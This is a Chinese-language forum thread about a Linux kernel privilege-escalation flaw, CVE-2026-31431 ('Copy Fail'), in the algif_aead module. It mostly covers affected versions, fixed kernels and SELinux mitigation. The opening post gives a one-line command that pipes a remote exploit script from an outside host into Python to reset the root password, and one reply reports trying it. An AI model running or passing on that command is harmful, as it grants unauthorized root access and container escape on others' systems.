# linux内核最新高危漏洞，普通用户直接修改root密码 **URL:** \ **Category:** Ubuntu\ **Created:** [2026 年4 月 30 日 03:34 UTC](https://www.nodeloc.com/t/topic/83824 "2026-04-30T03:34:49Z")\ **Posts on this page:** 20\ **Page:** 1
**Author:** ![sydney1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/sydney1/32/34353_2.png) [@sydney1](https://www.nodeloc.com/u/sydney1)\ **Post date:** [2026 年4 月 30 日 03:34 UTC](https://www.nodeloc.com/t/topic/83824/1 "2026-04-30T03:34:50Z")
今日公开披露了一个 Linux 内核高危漏洞，编号为 CVE-2026-31431，命名为"Copy Fail"，目前评分为 7.8。漏洞根植于内核加密子系统的 algif\_aead 模块，允许任何本地普通用户以确定性、无竞争的方式在任意可读文件的页缓存中写入受控的 4 字节数据，并借此将自身权限提升至 root，可以实现本地提权与容器逃逸。 该漏洞影响 4.14 至 6.9 版本的大多数内核，目前主流发行版（包括但不限于 Ubuntu 24.04 LTS、Amazon Linux 2023 等）都存在漏洞。 值得注意的是，Docker 使用共享内核，因此该漏洞可用于逃逸，对宿主机造成严重威胁。 修改 root 密码的代码： ```bash curl https://copy.fail/exp | python3 ``` 普通用户执行后，无需密码即可通过 su 切换至 root 用户。 请务必升级至 linux 6.19.12+ 或 linux-lts 6.18.22+ 以修复该漏洞 ---
**Author:** ![local](https://www.nodeloc.com/letter_avatar_proxy/v4/letter/l/b5a626/32.png) [@local](https://www.nodeloc.com/u/local)\ **Post date:** [2026 年4 月 30 日 03:44 UTC](https://www.nodeloc.com/t/topic/83824/2 "2026-04-30T03:44:23Z")
核弹级漏洞，很危险啊，赶紧升级 ---
**Author:** ![sydney1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/sydney1/32/34353_2.png) [@sydney1](https://www.nodeloc.com/u/sydney1)\ **Post date:** [2026 年4 月 30 日 03:45 UTC](https://www.nodeloc.com/t/topic/83824/3 "2026-04-30T03:45:17Z")
好在攻击向量不是N，否则就9.0了 ---
**Author:** ![sydney1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/sydney1/32/34353_2.png) [@sydney1](https://www.nodeloc.com/u/sydney1)\ **Post date:** [2026 年4 月 30 日 03:52 UTC](https://www.nodeloc.com/t/topic/83824/4 "2026-04-30T03:52:55Z")
详细信息参见 [https://copy.fail/](https://copy.fail/) ---
**Author:** ![BearPaw](https://www.nodeloc.com/user_avatar/www.nodeloc.com/bearpaw/32/12089_2.png) [@BearPaw](https://www.nodeloc.com/u/BearPaw)\ **Post date:** [2026 年4 月 30 日 04:35 UTC](https://www.nodeloc.com/t/topic/83824/5 "2026-04-30T04:35:26Z")
感谢提供宝贵情报 ---
**Author:** ![Anaheim](https://www.nodeloc.com/user_avatar/www.nodeloc.com/anaheim/32/36651_2.png) [@Anaheim](https://www.nodeloc.com/u/Anaheim)\ **Post date:** [2026 年4 月 30 日 04:40 UTC](https://www.nodeloc.com/t/topic/83824/6 "2026-04-30T04:40:09Z")
感谢提供宝贵情报！ ---
**Author:** ![cs9u](https://www.nodeloc.com/user_avatar/www.nodeloc.com/cs9u/32/7508_2.png) [@cs9u](https://www.nodeloc.com/u/cs9u)\ **Post date:** [2026 年4 月 30 日 04:43 UTC](https://www.nodeloc.com/t/topic/83824/7 "2026-04-30T04:43:05Z")
那么爽 ---
**Author:** ![azhaoyihao](https://www.nodeloc.com/user_avatar/www.nodeloc.com/azhaoyihao/32/14_2.png) [@azhaoyihao](https://www.nodeloc.com/u/azhaoyihao)\ **Post date:** [2026 年4 月 30 日 04:51 UTC](https://www.nodeloc.com/t/topic/83824/8 "2026-04-30T04:51:21Z")
这么恐怖的漏洞 ---
**Author:** ![lovoup](https://www.nodeloc.com/user_avatar/www.nodeloc.com/lovoup/32/19024_2.png) [@lovoup](https://www.nodeloc.com/u/lovoup)\ **Post date:** [2026 年4 月 30 日 04:55 UTC](https://www.nodeloc.com/t/topic/83824/9 "2026-04-30T04:55:41Z")
可以测试一下 ---
**Author:** ![Serendipity1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/serendipity1/32/17772_2.png) [@Serendipity1](https://www.nodeloc.com/u/Serendipity1)\ **Post date:** [2026 年4 月 30 日 05:09 UTC](https://www.nodeloc.com/t/topic/83824/10 "2026-04-30T05:09:44Z")
细思恐极 ---
**Author:** ![James](https://www.nodeloc.com/user_avatar/www.nodeloc.com/james/32/1745_2.png) [@James](https://www.nodeloc.com/u/James)\ **Post date:** [2026 年4 月 30 日 05:24 UTC](https://www.nodeloc.com/t/topic/83824/11 "2026-04-30T05:24:43Z")
对serv00这种虚拟主机来说影响很大 ---
**Author:** ![Linux](https://www.nodeloc.com/user_avatar/www.nodeloc.com/linux/32/489_2.png) [@Linux](https://www.nodeloc.com/u/Linux)\ **Post date:** [2026 年4 月 30 日 05:32 UTC](https://www.nodeloc.com/t/topic/83824/12 "2026-04-30T05:32:53Z")
模块没开就没事吧 ---
**Author:** ![CarrotNode](https://www.nodeloc.com/user_avatar/www.nodeloc.com/carrotnode/32/35282_2.png) [@CarrotNode](https://www.nodeloc.com/u/CarrotNode)\ **Post date:** [2026 年4 月 30 日 05:49 UTC](https://www.nodeloc.com/t/topic/83824/13 "2026-04-30T05:49:38Z")
感谢分享，赶紧去升级 ---
**Author:** ![tans](https://www.nodeloc.com/user_avatar/www.nodeloc.com/tans/32/12858_2.png) [@tans](https://www.nodeloc.com/u/tans)\ **Post date:** [2026 年4 月 30 日 06:25 UTC](https://www.nodeloc.com/t/topic/83824/14 "2026-04-30T06:25:24Z")
我操，debian没事就行 :xhj36: ---
**Author:** ![CoolMan](https://www.nodeloc.com/user_avatar/www.nodeloc.com/coolman/32/1938_2.png) [@CoolMan](https://www.nodeloc.com/u/CoolMan)\ **Post date:** [2026 年4 月 30 日 07:56 UTC](https://www.nodeloc.com/t/topic/83824/15 "2026-04-30T07:56:21Z")
内核高好像不起作用 OSError: [Errno 97] Address family not supported by protocol Linux ssh1 6.12.49- ---
**Author:** ![w-d](https://www.nodeloc.com/user_avatar/www.nodeloc.com/w-d/32/35088_2.png) [@w-d](https://www.nodeloc.com/u/w-d)\ **Post date:** [2026 年4 月 30 日 07:59 UTC](https://www.nodeloc.com/t/topic/83824/16 "2026-04-30T07:59:56Z")
感谢楼主提供情报 这漏洞也不小啊 只有去升级吗 ---
**Author:** ![sydney1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/sydney1/32/34353_2.png) [@sydney1](https://www.nodeloc.com/u/sydney1)\ **Post date:** [2026 年4 月 30 日 08:03 UTC](https://www.nodeloc.com/t/topic/83824/17 "2026-04-30T08:03:51Z")
理论上linux 6.19.12+ 或 linux-lts 6.18.22+才没有漏洞，但实测部分处于4.14~6.19之间的内核也存在无法触发的可能。另外，SELinux可能有效阻止PoC执行部分风险操作 ---
**Author:** ![sydney1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/sydney1/32/34353_2.png) [@sydney1](https://www.nodeloc.com/u/sydney1)\ **Post date:** [2026 年4 月 30 日 08:09 UTC](https://www.nodeloc.com/t/topic/83824/18 "2026-04-30T08:09:35Z")
内核级别的问题通常只能升级内核，当然android有google的安全补丁除外。虽然SELinux理论可以预防，但漏洞依然存在也就依然是威胁 ---
**Author:** ![w-d](https://www.nodeloc.com/user_avatar/www.nodeloc.com/w-d/32/35088_2.png) [@w-d](https://www.nodeloc.com/u/w-d)\ **Post date:** [2026 年4 月 30 日 08:12 UTC](https://www.nodeloc.com/t/topic/83824/19 "2026-04-30T08:12:03Z")
感谢楼主解析 ---
**Author:** ![sydney1](https://www.nodeloc.com/user_avatar/www.nodeloc.com/sydney1/32/34353_2.png) [@sydney1](https://www.nodeloc.com/u/sydney1)\ **Post date:** [2026 年4 月 30 日 08:12 UTC](https://www.nodeloc.com/t/topic/83824/20 "2026-04-30T08:12:35Z")
debian有事，是linux内的漏洞 [下一页](https://www.nodeloc.com/t/topic/83824.md?page=2)